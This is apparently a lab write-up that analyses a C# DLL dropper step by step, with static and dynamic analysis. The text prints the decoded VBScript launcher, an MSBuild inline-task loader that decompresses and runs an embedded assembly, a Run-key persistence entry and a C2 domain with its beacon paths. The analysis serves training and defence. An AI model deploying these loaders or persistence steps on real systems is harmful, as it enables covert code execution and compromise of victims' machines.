
StaySharp - CSharpMalware

https://github.com/HuskyHacks/PMATlabs/blob/main/labs/3-4.StaySharp-CSharpMalware/Malware.cryptlib64.dll.malz/Malware.cryptli b64.dll.malz.7z

We are provided with a CSHARP file. At first, we will calculate the hashes.



Once, we have the hashes, we can start with the normal static analysis but first let's check the NOTE about this malware.

```
README.txt

Hey Analyst!

We found this DLL in Program Files on an endpoint. It was hidden in with one of the proprietary programs that the company uses in our payment processing departments. Thing is, the MACE attributes looked way off; the Created timestamp looks way too recent compared to when the program was installed. It seems unlikely but we suspect this might be malware.

Can you take a look?

Thanks,
SOC
```

So, that sounds pretty fishy and seems like attackers were either able to perform DLL Injection attack in there.

What is a DLL File?

A DLL is a **library that contains code and data that can be used by more than one program at the same time**. For example, in Windows operating systems, the Comdlg32 DLL performs common dialog box related functions. Each program can use the functionality that is contained in this DLL to implement an Open dialog box.

Static Analysis

Now, let's use both of the below mentioned tools to analyze the DLL file.

- Strings
- Floss

We will be using Strings this time. Running strings on the file returns quite a lot of strings.

strings ./Malware.cryptlib64.dll.malz | less

```
!This program cannot be run in DOS mode.
.text
`.sdata
```

```
@.reloc
BSJB
#GUID
#Blob
ComVisibleAttribute
```

Stream CallConvCdecl

```
TextReader
EmbedDLL.dll
```

```
mscoree.dll
```

If our eyes are trained we will start to analyze thins pretty quick. Like in this case, there is a lot going.

- set_keySize
- get_keySize

- AES_Encrypt
- passwordBytes
- AES_Decrypt
- bytesToBeDecrypted
- RegistryKey
- RegistryHive
- FromBase64String
- .NET Framework 4.7.2
- GetEnvrionementVarialbe etc.

Now, let's try to use FLOSS on the DLL.

Iklux2Tcs42qWV15vEWaGE7NywrhmorgjRarizl08J8eAd7JbR3zzqM5KbX5Vz6l

CmWdK2gCePsfCWzL9BR+F/w6dhbqEYtXDb6LXs0jdJ9qrwBIxg/8zTLcP5P+MVVd

9MF6aorfxOFo9MeZe+ITV2bdm29ZC/cHq4oH051WIABUGNVhKdQnWeOzQGREG1f/ VI6RDZTJCNFpAnY6rl9FAx6ZgkQnW/XEQmcqBxUWI3Ii68ShREFi2xdGT4oojR7s pSkGga2qYlWtkvprgxLW0rHV3uVancDW5J6FzrVSgJfugMqQQmKpEi4Jj0YfflGQ X2cskHzL40HmJku4+gOUGxWx3bI2biMLVfo/hPb21wpyXXzOIp702Q729V0DqZtR
NqaKuCy5dVuFTMD1Wk+xIzGecJQoSPhk3UbkETvu/i0kY04L1pKVH33ruAUxGXJc
ceyHX6rvTbmVmc0/Fc1H8p3t3ziUrFI7dvfaMnSTWAykC7Wdaa0jZ8C1ed117sdw
feJCTTnxnEJvSHvHlV85WwkvSkXUsgP+DVyGaww0aYp6BJXGqBmpTwUnU574cl5f
48toZmR0uWRiEgeMfq01sfRzHzrUXeIZg3t6xGABW6fEXyoqiDlk0djfb+Xhv10A
viKEKOs/lxymhQUgmLiTGYGCr0p5rSWmhCz6/d0zJ11v9DjPfvhVhvbrAwh04CdF
UuYn/KyaQFZQi8MhK77mWsvrSVjsnB2vx9X/Wmru6vcN68tiFjBA0NOYt6F0g/It
JFAF2JDbntZxuzvB0NkJE8rp1c0wRVkH216ruXrZcnoNDeZsfBpwBxGDb+zoE9he
6zqGd4k6nHlqntMbnbo55Vfte021XzkiCLAzvSaYqHVfWkz0XYfJzAnD4SIsqJ4F
zvWk3qotGkDMcplvzTJQiF5kshbeSCbYzRaaZfpZHT180lP7yKwXmHRl2yQJRT83
rBDoZQkR+vDn3qeqP77qKa15AEi4qkfi/4VoPt4bDKhFGS8hHRJ3vUH1NT3sg5Q2
VS4GbMJfF/yaIVj34Hyv2TopV0A0FMH1G1d9MT70Rs5MZ+rPr7VBsPXyh28qmzAF
j+lhL6Uy0xQ6vQPiT2eVHtATUARHZQhrvM3XTTH2nV+BbuRKY2MMaJM3kowe17n0
1H5kl7lqt3vN353VUqJ1VfP0xf0egGfXwVcwCUCke/jygn0om+IfevAC4JR4JdXY
aS1qmIvxDf0pElTTeRDVArqPjeG0r6ZLihslzdbCIuU6hUE/nYdpCM3CL73+IYuD
x0PWaqWg9gWjiBkKX53VKYBJZVZl9LtKeEPpDiGXRVK+Sk1iqzken8i3hrMboHmz
zfM6rcqq+yisxt7thZH+auY303xzkJDAZv9lCR20l3gz017Erv2aGkWm4UXwLH8R

\embed.xml

U2V0IG9TaGVsbCA9IENyZWF0ZU9iamVjdCAoIldzY3JpcHQuU2hlbGwiKSAKRGlt
IHN0ckFyZ3MKc3RyQXJncyA9ICJD0lxXaW5kb3dzXE1pY3Jvc29mdC50RVRcRnJh
bWV3b3JrXHY0LjAuMzAzMTlcTVNCdWlsZC5leGUgQzpcVXNlcnNcUHVibGljXGVt
YmVkLnhtbCIKb1NoZWxsLlJ1biBzdHJBcmdzLCAwLCBmYWxzZQ==

C:\Users\Public\Documents\embed.vbs

Software\Microsoft\Windows\CurrentVersion\Run

embed

VS VERSION INFO

VarFileInfo

Translation

StringFileInfo

000004b0

Comments

```
FileVersion
InternalName
EmbedDLL.dll
EmbedDLL.dll
```

Now, the important strings to note here from the FLOSS output are as below.

- public
- \embed.xml
- U2V0IG9TaGVsbCA9IENyZWF0ZU9iamVjdCAoIIdzY3JpcHQuU2hlb GwiKSAKRGItIHN0ckFyZ3MKc3RyQXJncyA9ICJDOIxXaW5kb3dzXE 1pY3Jvc29mdC5ORVRcRnJhbWV3b3JrXHY0LjAuMzAzMTIcTVNCd WIsZC5leGUgQzpcVXNIcnNcUHVibGljXGVtYmVkLnhtbClKb1NoZWx sLIJ1biBzdHJBcmdzLCAwLCBmYWxzZQ==
- C:\Users\Public\Documents\embed.vbs
- Software\Microsoft\Windows\CurrentVersion\Run

- embed
- p0w3r0verwh3lm1ng! → Can be the Potential Password for potential encrypted data.

We can decode the Base64 Encoded String to observe it's contents.

```
Set oShell = CreateObject ("Wscript.Shell")
Dim strArgs
strArgs =
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
C:\Users\Public\embed.xml"
oShell.Run strArgs, 0, false
```

So, its a VB Script also MSBuild.exe is being used here to load and execute the contents from C:\Users\Public\embed.xml file.


So, when the DLL file is executed, it drops off the the following two files.

- 1. C:\Users\Public\Documents\embed.vbs → VBScript
- 2. C:\Users\Public\embed.xml \rightarrow XML File
- 3. Software\Microsoft\Windows\CurrentVersion\Run → Registry Entry
- 4. embed → Might be a variable/environement variable holding particular location of file/command.

On closer look onto the FLOSS output. We can find two functions i.e.

- 1. AES_ENCRYPT
- 2. AES_DECRYPT


Along with those, when we grepped for the particular word, we have an AES Encrypted string.



So, we need to have the DLL decompiled. In this particular scneario, I will be using DotPeek, although we can use ILSPY and DNSPY as well.

On loading the DLL file in DotPeek, we observed the following at first.

• The actual name of the DLL file is EmbedDLL.



```
#Strings (102)
                    ▶ ₹ #US (10)
                    ▶ ₹ #GUID (1)
                    ▶ #Blob (47)
                    Module (1): Generation - 2b | Name -
                    > 68 01 TypeRef (46): ResolutionScope - Reso
                    > 02 TypeDef (4): Flags - 4b | TypeName -
                    O4 Field (1): Flags - 2b | Name - string | 5
                    ▶ 06 MethodDef (6): RVA - 4b | ImplFlags
                    ▶ (○) 08 Param (5): Flags - 2b | Sequence - 2b
                    > 60 OA MemberRef (51): Class - MemberRefF
                    D C CustomAttribute (14): Parent - HasCu
                    > 11 StandAloneSig (2): Signature - blob
                    > in the second of the second 
                    > <= 20 Assembly (1): HashAlgId - 4b | Major\
                    > = 23 AssemblyRef (1): MajorVersion - 2b

▲ marketences

                            mscorlib (4.0.0.0)
          EmbedDLL
                    Cryptor
                    Program
System.Core (4.0.0.0, msil)
```

The program class includes the actual code. Here we can observe the following.

- The has is being calculated for the password which we found.
- The first base64 encoded data is being decrypted and wirtten to a file named embed.xml in PUBLIC directory.
- The second base64 encoded data is being written to embed.vbs file in Documents directory.
- Finally, a registry entry is being name with variable name (embed)
 pointing to the location of embed.vbs

```
Dc9gvwHYwvpt7nGQmWXdtqxqEC6kvLB1XmyXqh94TJOTRVdLEvkrM7GdGQjuuewa
```

K88nbPF1wH1H19UyH2toUVDKcMd2Qo0J24S3ITx68IF2vUh2SAlM3cS8Vruupt9g

oGuRgtXq58rET3WRp7pRMzaHUaFlBs6WEDBH0e7/J4LuzJUtp5+Bx0hQM5tpQL8W oU3lTbKIbdivh5rOy9GHPkzDjBab9Eyr4UgQfNTtrsXvXetqTwekMU5GCBrltgv/

a2qYlWtkvprgxLW0rHV3uVancDW5J6FzrVSgJfugMqQQmKpEi4Jj0YfflGQhdJLe

Dynamic Analysis

For dynamic analysis, we will have to run the program. In order to run the DLL files we need to use (rundll32) program which is already available on Windows System.

https://docs.microsoft.com/en-us/windowsserver/administration/windows-commands/rundll32 Run32DLL loads and runs DLLs. Running the DLLs is as simple as the below command.

run32dll DLLFile

Which in our case becomes

rundll32 Malware.cryptlib64.dll


So, in DLLs there are functions which are actually exported and can be called in other programs. As we have decompiled the program, we know that the function name is "embed". So we need to suuply it as an argument.

rundll32 Malware.cryptlib64.dll, embed


So now, we need to open up the following.

- Explorer → C:\Users\Public\Documents\embed.vbs
- Explorer → C:\Users\Public\embed.xml
- Registry Editor → Software\Microsoft\Windows\CurrentVersion\Run
- Fake-Net

As we can see, we have all the files and the registry entry as well.



We can see the contents of embed.vbs which are same as we have found earlier.



Here we can observe the contents of embed.xml file.

```
📑 > 📙 CapabilityAccessManager
mbed - Notepad
File Edit Format View Help
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003" ToolsVersion="4.0">
<TaskName> </TaskName>
</Target>
<UsingTask TaskName="TaskName" TaskFactory="CodeTaskFactory" AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
<ParameterGroup/>
<Code Type="Fragment" Language="cs">
<![CDATA[ var oms = new System.IO.MemoryStream(); var ds = new System.IO.Compression.DeflateStream(new System.IO.MemoryStream(System.Convert.FromBase64St
pfqpS62TNcdLLKarYXCH6L8IvXA1YtqkDdhDU9by0A6F5JucaLVsrLysnJbY6xcL68yIywvj6xj3xskbq5n3UZmbOBcsjNlFX6zideq3/Iu1grVRzYytaayb02W82Bo+1qzmZVfQwSRFmCNm/VyfY3dCr
fsg4ALVHOIY/4uVhnnaMv/lLHOEwSEAV+L1z1GeYc1RDs1VD11ROTxXOXxF5aa5yk1XVN4xV3nHXGV/w3L1LJ6Yv00rFc85iexTIoc5afYRLko/3y22yZuG6vGao+Dx9amsWZH1hfLTFU/kBrBz+LoUAX
6opJV1KGaSMqxmgr4IZaheoxTOUBapU7sJ7KSN/kp3yrJ/xf+U2pB94mPMFKX1E8v9B4tdImPKxtEHJPnuNTxX6c6nzIs3ClxFDQBWkE/u1BDBALRK/U8J1Er5Ob/on6R26UTNxxgTU88C/77+HPqJ/Fk
jHiNGic3ptLxGlHl2meSBhdZjobTcDErhPHjnVGYyfwXLEnYSTjdNBACmOGdA/RxU4MW0yym4jDoP3ReBzKEu9KZCYNS6KsPmDYNtJBXZYRN9JZLN0VjU0a1Jc+ZZ4waDbb1Mc7ZdoShyu2ifGwlcga/f
jLL1JCd3G8mE7EpuWk2Gc6Ac4nt8FqIjvag6jGM08P1YzejQpG6pBwcLxACJ5OGMjgUyckpirormYDf0OBOJSwznWJcVlXOsmZwE3tF7r6Tey7II4ViDPCVwwNckWNVNpuB4YPGyZxhZzntBdSwyV/9NI
E78FlwGN5AYjaKNBnAjncKdmQu5H6tyBW1EvYxKX9M4DvqgfwhwVB4ZN4O3H+M46NOQHME6J2GhDVvMTT0i6+yps3B5JUp9BB07gW3DxwliJQp3JfpkCuYNKTmLqeckdwAcrqu8fuuMPp8qeW7bDLcHzs
w==")), System.IO.Compression.CompressionMode.Decompress); var by = new byte[1024]; var r = ds.Read(by, 0, 1024); while (r > 0) { oms.Write(by, 0, r); r
</Code>
</Task>
</UsingTask>
</Project>
```

On analyzing the contents, we observed.

```
xmlns="http://schemas.microsoft.com/developer/msbuild/2003"
ToolsVersion="4.0">
osoft.Build.Tasks.v4.0.dll">
<ParameterGroup/>
x1Q0lClOKNAO5FVKgMwEhpCW0CmPwkzckEcnCQOZDAMZoNBAZqCdFvoi6RS7v/Pd
```

cJ9geKeEt/oZhjwnAE9J6V9JeB4wQGelJ5cEwx95PgAnVML4NySn0cvwA5VhudT8 0FsnVHpJ8Fpvy2z8h4w6Kz08L314QXsLcLGUtvoYjygMfyZnveL7HgXodo1z4vUx MZSNThjWrjGXuyt27Fh3ws4ko1Ndyaht00w5p2Xe0S3U15P0pQwr0pY0jrdQf8L0

```
IMqM2hqV20ZjPISmn+DsKdLik7wYBmntScl61mG94JMJ1MLECSkjn8wLLAMNg4bj
isJLCeH4coFTgWjDpIGpMZCUIn2qwaSgDIfddBZ/ZSH5sNLrGn80PwF/Ex7D+dD0
087wnhpWampqa6T+Ryp5eN9K/Epop/QOCZUuKHBBhHY6jvwKAYSmP2EW/IQBERoI
ev0iNMKCA6EBFoT6PH6haE/fcvTQkva37/SooT5FVRQ1CKzan99cpKuW90+UkOLW
EzIQ6guEvUpNaDR0kx71RkBrwv1vh8v5t/5hpfIwHjsHzfTMXXB40jJP20IT7p9s
vM5fbJoL/nPivvz/tZzntaPwPzESnr1xZTDkPVb+SmUYTfFkUsou1VN49/xGfv/6
//Pa7fzN8eiW37Yjv3/9Nl7/Cw==")),
System.IO.Compression.CompressionMode.Decompress); var by = new
byte[1024]; var r = ds.Read(by, 0, 1024); while (r > 0) {
  oms.Write(by, 0, r); r = ds.Read(by, 0, 1024); }
System.Reflection.Assembly.Load(oms.ToArray()).EntryPoint.Invoke
(0, new object[] { new string[]{ } }); ]]>
</Code>
</Task>
</UsingTask>
</Project>
```

Decoding The Payload

We can decode the payload using the following PS Script.

```
$script = nEW-ObJECt
Io.CoMpRESSiOn.defLaTEstReam([i0.memoRYStREam]
[sYsteM.coNvert]::FROmbaSe64StRiNG(
'7Vp7cFzldT/f3d27V2t7rbt62pbslW3Za1mW9bLxG+tlS0YStiXZFpjYq90rafH
u3vW9u7aFx1Q0lClOKNA05FVKgMwEhpCW0CmPwkzckEcnCQ0ZDAMZoNBAZqCdFvo
i6RS7v/Pdu9KuJTsl/6SZya73fOf1ne+c853z7f1WHrjhHvIQkRefS5eIniHntZt
+/Wsan+CK54L01yU/rntG9P+4bngyYYczljlhRVPhWDSdNrPhMSNs5dLhRDrcff1
QOGXGjaZFiwKrXRv7e4j6hUJNjbFo3u7btJIWiGaiBhCKw7uhFyCMz3HXu7Aj87p
z8qN0yp2j004/IiqV/2bHmUG+NNi9/mpBYr2F/4dczHnBP61wHdC9BXRT1jiTZfM
RR7cw1gITx5ssI2nGXB+OuzqNxXq7iTp/Exf5tcN1qlea9tHtG4huX0oknKXUT2t
vsxLBnIASwYaoDctt2FHXILZlzSo9UyLt6vYiMAMW0EzVXbxWfeWKxgcifsyLgLl
```

29JwxYrmsMZSNThjWrjGXuyt27Fh3ws4ko1Ndyaht00w5p2XeOS3U15P0pQwr0pY

```
LLAMNg4bjisJLCeH4coFTgWjDpIGpMZCUIn2qwaSgDIfddBZ/ZSH5sNLrGn80PwF
/Ex7D+dD0087wnhpWampqa6T+Ryp5eN9K/Epop/QOCZUuKHBBhHY6jvwKAYSmP2E
W/IQBERoIev0iNMKCA6EBFoT6PH6haE/fcvTQkva37/SooT5FVRQ1CKzan99cpKu
W90+Uk0LWEzIQ6guEvUpNaDR0kx71RkBrwv1vh8v5t/5hpfIwHjsHzfTMXXB40jJ
P20IT7p9svM5fbJoL/nPivvz/tZzntaPwPzESnr1xZTDkPVb+SmUYTfFkUsou1VN
49/xGfv/6//Pa7fzN8eiW37Yjv3/9Nl7/Cw=='),
[sYsTem.io.comprEsSIOn.CoMPReSsIONmOdE]::dEcOMpresS) | % {nEW-
ObJECt SYsteM.Io.strEAmReAder($_,[SysTEm.TExT.eNCoDIng]::aSCIi)
} | % { $_.reaDtoEnD()}
```

Now we can call the variable to see it's contents. As the output is quite long so, we will focus onto what is important in this case.

The begining of the code states the following.

```
This program cannot be run in DOS mode.
```

Moving ahead, we can find that there is a URL which is embedded in the code.

```
http://srv.masterchiefsgruntemporium.local:80
```

This will be the C2 Server Doamin. While there are few base64 encoded strings as well.

- L2VuLXVzL3Rlc3QuaHRtbA== → /en-us/test.html
- L2VuLXVzL2RvY3MuaHRtbA== → /en-us/docs.html
- L2VuLXVzL2luZGV4Lmh0bWw= → /en-us/index.html
 QVNQU0VTU0IPTkIEPXtHVUIEfTsgU0VTU0IPTkIEPTE1NTIzMzI5Nz
 E3NTA → ASPSESSIONID={GUID}; SESSIONID=1552332971750
- TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xKSBBcHBsZVdlYktpd C81MzcuMzYgKEtlVE1MLCBsaWtllEdlY2tvKSBDaHJvbWUvNDEuMC 4yMjl4LjAgU2FmYXJpLzUzNy4zNg== → Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36

```
L2VuLXVzL2luZGV4Lmh0bWw=,L2VuLXVzL2RvY3MuaHRtbA==,L2VuLXVzL3Rlc3
QuaHRtbA==??i=a19ea23062db990386a3a478cb89d52e&data=
{0}&session=75db-99b1-25fe4e9afbe58696-320bea73®♥
</html>dfalse§c638eb59a8♥-®
```

```
YaFM+yqzILW3R/AY/pnxI8VIYvdjnPdfYw8Xlqy31tvU=??{{"GUID":" {0}","Type":{1},"Meta":"{2}","IV":"{group5g?^?PCK?2DTX.4!
```

On executing the embed.vbs we can observe in the Fake-Net logs, it tried to query the domain which we have found in the payload.

```
| Section | Date modified | Da
```

So, as the registry key variable embed is pointing out to this particular VBS script.

I have discussed these Registry Keys in detail on my Medium Blog.

https://kamransaifullah.medium.com/registry-run-keys-startup-folder-malware-persistence-7ae3cf160680

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